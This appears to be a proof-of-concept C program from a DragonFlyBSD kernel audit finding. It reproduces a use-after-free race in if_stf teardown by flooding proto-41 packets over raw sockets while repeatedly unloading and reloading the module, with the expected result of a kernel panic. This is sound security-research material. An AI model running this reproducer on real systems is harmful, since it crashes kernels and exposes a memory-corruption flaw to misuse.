⬢ DragonFlyBSD Kernel Audit
DF-3433 / stf_race.c
← back to finding ↓ download raw
/*
 * DF-3433 - if_stf teardown races the lock-free netisr encaptab walk.
 *
 * Twin of DF-3425 (gif), stf instance:
 *   - encap4_input() (ip_encap.c:131-241) walks the global encaptab list
 *     with NO lock on netisr0 for every inbound IPv4 proto-41 packet,
 *     calling ep->func(m,off,proto,ep->arg) for each matching entry.
 *   - if_stf registers exactly one such entry at MOD_LOAD:
 *       encap_attach_func(AF_INET, IPPROTO_IPV6, stf_encapcheck, ..., sc)
 *     (if_stf.c:178-184)
 *   - kldunload if_stf -> stfmodevent(MOD_UNLOAD) (if_stf.c:210-224) has NO
 *     in-use guard and NO serialization against netisr0: encap_detach() does
 *     LIST_REMOVE + kfree(ep) (ip_encap.c:411-426), then the softc itself is
 *     kfree'd (if_stf.c:222-223).  A concurrent walk that already fetched the
 *     stf ep (or is about to call through it) dereferences freed memory and
 *     calls into unloaded module text (stf_encapcheck reads
 *     sc->sc_if.if_flags at if_stf.c:250 on the freed softc).
 *
 * Harness: 30 statically configured gif tunnels lengthen the walk (gif
 * entries attach with proto == -1 so their func is called for proto 41 too,
 * in_gif.c:378), 4 flood threads push proto-41 packets to 127.0.0.1 through
 * raw sockets (kernel builds the outer header, in_proto.c:235-238 ->
 * encap4_input), one bounce thread cycles kldload/kldunload of if_stf.
 *
 * Run as root. Expected on hit: Fatal trap 12 in stf_encapcheck / the
 * encap4_input walk / freed module text.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_var.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

#define	NSTATIC		30			/* gif0..gif29 walk lengtheners */

static int	cmdsock;
static volatile unsigned long n_flood, n_cyc, n_err;
static volatile int stop;

static void
mk_sin(struct sockaddr_in *sin, uint32_t a)
{
	memset(sin, 0, sizeof(*sin));
	sin->sin_family = AF_INET;
	sin->sin_len = sizeof(struct sockaddr_in);
	sin->sin_addr.s_addr = htonl(a);
}

static int
gif_create(const char *name)
{
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	return ioctl(cmdsock, SIOCIFCREATE, &ifr);
}

static int
gif_set_tunnel(const char *name, uint32_t src, uint32_t dst)
{
	struct in_aliasreq ifra;

	memset(&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name));
	mk_sin(&ifra.ifra_addr, src);
	mk_sin(&ifra.ifra_dstaddr, dst);
	return ioctl(cmdsock, SIOCSIFPHYADDR, &ifra);
}

static void *
flood(void *arg)
{
	struct sockaddr_in to;
	unsigned char pkt[36];		/* inner dummy ipv6-ish payload */
	/* kernel prepends outer IPv4 header w/ proto = IPPROTO_IPV6 (41) */
	int s = socket(AF_INET, SOCK_RAW, IPPROTO_IPV6);

	if (s < 0) { perror("raw socket"); return NULL; }
	memset(&to, 0, sizeof(to));
	to.sin_family = AF_INET;
	to.sin_len = sizeof(to);
	to.sin_addr.s_addr = htonl(0x7f000001);	/* 127.0.0.1 -> lo0 */
	memset(pkt, 0x45, sizeof(pkt));

	while (!stop) {
		if (sendto(s, pkt, sizeof(pkt), 0,
			   (struct sockaddr *)&to, sizeof(to)) > 0)
			n_flood++;
		else
			n_err++;
	}
	close(s);
	return NULL;
}

static void *
bouncer(void *arg)
{
	/* stateless: unload (which only succeeds when loaded), then reload */
	while (!stop) {
		if (system("kldunload if_stf") == 0) {
			n_cyc++;
			if (system("kldload if_stf") != 0)
				n_err++;
		} else
			n_err++;
	}
	system("kldunload if_stf");
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t th[5];
	char name[32];
	int i, secs = argc > 1 ? atoi(argv[1]) : 240;
	uint32_t base;

	cmdsock = socket(AF_INET, SOCK_DGRAM, 0);
	if (cmdsock < 0) { perror("dgram socket"); return 1; }

	/* walk lengtheners: gif0..gif29 with distinct endpoints
	 * (gif may be compiled into the kernel; kldload is best-effort) */
	if (system("kldload if_gif") != 0)
		fprintf(stderr, "kldload if_gif: %s (continuing; "
		    "pseudo-device may be compiled in)\n", "best-effort");
	for (i = 0, base = 0x0a000000; i < NSTATIC; i++, base += 0x202) {
		snprintf(name, sizeof(name), "gif%d", i);
		if (gif_create(name) == 0)
			gif_set_tunnel(name, base + 1, base + 2);
	}

	/* the victim: stf ep sits at the list head (LIST_INSERT_HEAD) */
	if (system("kldload if_stf") != 0) {
		perror("kldload if_stf");
		return 1;
	}

	for (i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, flood, NULL);
	pthread_create(&th[4], NULL, bouncer, NULL);

	printf("racing: %d static gifs, if_stf load/unload bounce, "
	    "4 proto-41 floods\n", NSTATIC);
	for (i = 0; i < secs; i += 10) {
		sleep(10);
		printf("t+%ds: flood=%lu unload_cyc=%lu err=%lu\n",
		    i + 10, n_flood, n_cyc, n_err);
		fflush(stdout);
	}
	stop = 1;
	for (i = 0; i < 5; i++)
		pthread_join(th[i], NULL);
	printf("done (no panic): flood=%lu unload_cyc=%lu err=%lu\n",
	    n_flood, n_cyc, n_err);
	return 0;
}